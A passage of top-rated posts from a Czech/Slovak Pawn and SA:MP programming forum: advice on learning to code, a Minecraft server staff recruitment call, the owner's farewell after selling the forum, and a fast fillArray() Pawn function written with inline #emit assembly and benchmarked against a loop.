zapřemýšlet, proč to takhle funguje a proč to předtím nefungovalo - musíte do hlavy dostat všechny tyto informace a pospojovat relevance - poté začnete psát perfektní kódy neustále. Stanovte si nějaký cíl - například "Naprogramuji herní mód deathmatch, s počítáním skóre a textovými efekty vítěze" - po splnění zkuste něco obtížnějšího, něco co si nedokážete představit jak v tuto chvíli naprogramovat, ale přeci jen víte, že je to realizovatelné - například "Teď se pustím do capture the flag s náhodnými událostmi ovlivňující chování hry po každé získané vlajce" - hlavou vám proběhnou myšlenky jako "Sakra jak udělám tohle, a jak támhleto?" - v tuto chvíli je potřeba se naučit takové myšlenky vyházet z hlavy, jsou zbytečné. Řekněte si, co je potřeba udělat jako první, jako druhé a udělejte to, poté se vrhněte na další věci. Je dobré si ze začátku celý plán napsat bodově do nějakého dokumentu. V případě, že se pouštíte do HTML, PHP, či jiného webového jazyka (či neherního jazyka), si místo herních módu představte například vlastní blog, e-shop, portfolio, galerii, úložiště. Můžete zkoušet naprogramovat klony známých webů - idnes, dropbox, facebook, youtube, google - cokoliv vás napadne. V tuto chvíli nejde o výsledek - ale o experimentování, které vás zocelí ve znalostech. Další kroky Pamatujte, že v momentě kdy zjistíte, že vás to nebaví, je to moc složité na pochopení, vypadá to jakoby se někdo vyblil na klávesnici, nebo to píšou asi v latině - neztrácejte motivaci, zezačátku vždy experimentujeme - můžete se zkusit učit jiný jazyk, v jiné hře, jiném nástroji - tohle není čeština nebo angličtina, pokud se naučíte jeden programovací jazyk velmi dobře, je velmi pravděpodobné, že umíte základy dalších desítek programovacích jazyků. Jazyky se můžou lišit syntaxí, způsobem zápisu, ale ve výsledku jsou si všechny velmi podobné. Dá se říct, že největší skupina jazyků se označuje C-like (vyjadřují podobnost syntaxi jazyka C [wiki]). Poté tu máme originální Python, PHP, Pascal, Fortran, Perl, LISP. Jazyky se dělí na nespočet kategorií (druhů kategorií) a struktur, které je zbytečné znát [zdroj]. V tom největším měřítku se dají všechny jazyky obalit do 5 hlavních oddílů: Strojový jazyk - to jsou jedničky a nuly, bitové informace, nečitelné pro člověka, ale jediný jazyk, ve kterém pracuje jakýkoliv procesor. Assembly / LLL: low-level jazyk - jazyk vytvořený zvlášť pro různé procesory, nejnižší čitelná forma kódu (Assembler je program pro překlad tohoto jazyka na strojový jazyk) HLL: High-level jazyk - velmi user-friendly jazyk, který se využívá v profesní lize, tvoří se v něm hry, aplikace, nástroje, weby a všemožné další výtvory. (C, C++, C#, PHP, Java, apod.) VHLL: Very-high-level jazyk - je jazyk s velkou abstrakcí, většinou je částí již hotového produktu (tvořený v HLL), například jako součást moddovacích nástrojů her (SQF pro Arma 3, Pawn pro SA:MP) Dětské jazyky - existují pro výuku programování dětem, jsou naprosto jednoduché, většinou přeložené do řeči rodné země. Nabízí naprosto minimum funkcí a slouží jen jako základní vstup do světa programování. (Scratch, Blockly) A nebo je můžeme rozdělit do typů dle stylu programování: (Programovací paradigmata [zdroj]) Procedurální (imperativní) Funkcionální Objektově-orientované Skriptovací Logické Ve výsledku jde jen o to, zapamatovat si funkce, metody, proměnné a syntax. Vše ostatní už je jen schopnost toto všechno pospojovat dohromady - tomu se říká programování.
    4 points
  48. Zdravíčko přátelé Po menších existenčních potížích jsem se nyní konečně dostal zpět na svou kolej a jdeme se společně s vámi všemi vrhnout na stavbu našeho prvního serveru - minecraft serveru! Vzhledem k tomu, že já osobně se o to starat dopodrobna nemohu, rád bych z vašich řad našel nadšené lidi aktivní v této hře, kteří by si na sebe hodili částečnou zodpovědnost za plynulý chod na serveru a jeho kvalitu obsahu. Proto hledám lidi, kteří budou dosazeni na post Moderátorů a Creatorů - tedy lidí stavějící zajímavé stavby, ve kterých mohou uspořádat soutěže. Všechno zajímavé a důležité o serveru bude v jiném vlastním topicu. Pokud máte zájem o roli Moderátora: Musíte aktivně hrát Minecraft. Musí vám být alespoň 16 let. Musíte se smířit s tím, že práce moderátora není med - má své výhody, ale také o něco více nevýhod. Nesmíte zneužít svou roli a pravomoce k obohacování ostatních hráčů, či narušování ekonomiky serveru Zdržte se vulgarismů, fungujte jako profíci, dejte pozor na gramatiku - vedoucí pozice musí jít příkladem. Pokud máte zájem o roli Creator: Dostanete speciální pravomoce k jednoduché manipulaci terénem i objekty. Označení Creator v sobě nese pojmy jako: Builder, Eventer, VIP - jste všechno toto v jednom balíčku, buďte středem komunity. Ukažte nám své stavby, čeho jste schopní, jakou fantazii máte a co všechno postavíte! Nesmíte zneužít svou roli a pravomoce k obohacování ostatních hráčů, či narušování ekonomiky serveru - nevztahuje se na výherní ceny a výherce eventů, soutěží, či dalších jednorázových akcí. (Jen ta výhra nesmí být nějaký stupidní nesmysl - jako 10 stacků diamantů apod.) Žádosti mi napište sem do topicu Pokud nemáte zájem se přidat, ale chcete protlačit někoho, kdo se přihlásil - přihoďte mu k jeho postu nějakou pozitivní reakci
    4 points
  49. Všechno jednou končí – a to platí i pro moji nadvládu nad tímto fórem. Stejně byla iluzorní, jelikož naprostou většinu záležitosti zastával tým moderátorů a administrátorů. Pawno jsem se snažil historicky posunout dál, nikdy se mi to nepodařilo k mé spokojenosti – a v určité fázi jsem se vlastně přestal snažit. Pokud se však má fórum někam dál posunout, je potřeba, aby se tomu někdo opravdu věnoval. Historicky jsem už dostal mnoho nabídek k odkoupení, i za významně vyšší částky, ale nikdy jsem nebyl přesvědčený, že by prodej byl pro fórum to nejlepší. Nyní jsem. Takže, bylo to fajn, zdravím všechny, které jsem tu poznal, děkuji všem, co se čehokoli na fóru účastnili – a těším se na případný sraz. @ffredyku a týme – ať se daří!
    4 points
  50. Ahojky, chcel by som vám ukázať jeden stock čo som nakódil, fillArray(), ktorý dokáže vynulovať pole, resp. nastaviť každý prvok v poli na nejakú hodnotu. Je to užitočné v tom, že je to rýchlejšie než použitie loopu, pomer rýchlosti sa odvíja od počtu prvkov, kde pre 100 prvkové pole je fillArray() 18x rýchlejší, pre 1000 a viac prvkové ~65krát rýchlejší. Použitie main() { new pole[] = {1,2,3,4}; fillArray(pole, 55); // nastavi kazdu hodnotu v poli na 55 for (new i; i < sizeof (pole); i++) // vypise cele pole, teda 4 riadky s textom "55" printf("%d", pole[i]); } Pre viac-rozmerné polia treba použiť cyklus fillArray()ov. main() { pole[][] = {{1,2}, {3,4}}; for (new i; i < sizeof (pole); i++) fillArray(pole[i]); // default hodnota je 0, toto teda vynuluje cele pole for (new i; i < sizeof (pole); i++) for (new j; j < sizeof (pole[]); j++) printf("%d", pole[i][j]); } Speedtest Ťažko sa získavajú grafy pre rôzne veľkosti polí (lebo pawn nemá polia s dynamickou veľkosťou), ale pár manuálnymi pokusmi som zistil, že s kódom nižšie je fillArray() rýchlejší okolo 18x pre polia o veľkosti 100 prvkov, pre polia okolo 1000 prvkov okolo 70 krát rýchlejší a pre viac (až po 10 000 000 prvkové polia) to už osciluje medzi 60-65-70krát. Získal som: [19:45:51] Klasicka metoda: 74012 tickov [19:45:52] fillArray() metoda: 1075 tickov Pre kód: main() { #define MAX 1234567 new pole[2000]; new tick = GetTickCount(); for (new i; i < MAX; i++) for (new j; j < sizeof(pole); j++) pole[j] = 1; printf("Klasicka metoda: %d tickov", GetTickCount() - tick); tick = GetTickCount(); for (new i; i < MAX; i++) fillArray(pole, 2); printf("fillArray() metoda: %d tickov", GetTickCount() - tick); } Kód (môžete copy-paste do modu) stock fillArray(array[], value = 0, size = sizeof(array)) { new cip; size *= 4; cip = get_code_relative_address(); #emit load.s.alt cip #emit lctrl 6 #emit add #emit add.c 56 #emit stor.s.pri cip #emit load.s.alt size #emit sref.s.alt cip #emit load.s.alt array #emit load.s.pri value #emit fill 0 } stock get_code_relative_address() { new dat, cod; #emit lctrl 1 #emit neg #emit add.c 12 #emit stor.s.pri cod #emit lref.s.pri cod #emit stor.s.pri cod #emit lctrl 1 #emit neg #emit add.c 16 #emit stor.s.pri dat #emit lref.s.pri dat #emit stor.s.pri dat return cod - dat; } Resp., aktuálna verzia (aj s pár vysvetľujúcimi komentmi) tu. Ó, Majstre! Uč ma! Krátke vysvetlenie pre tých, čo vedia čo znamená slovo "assembler", ale nevedia čítať emit.
    4 points
×
×
  • Create New...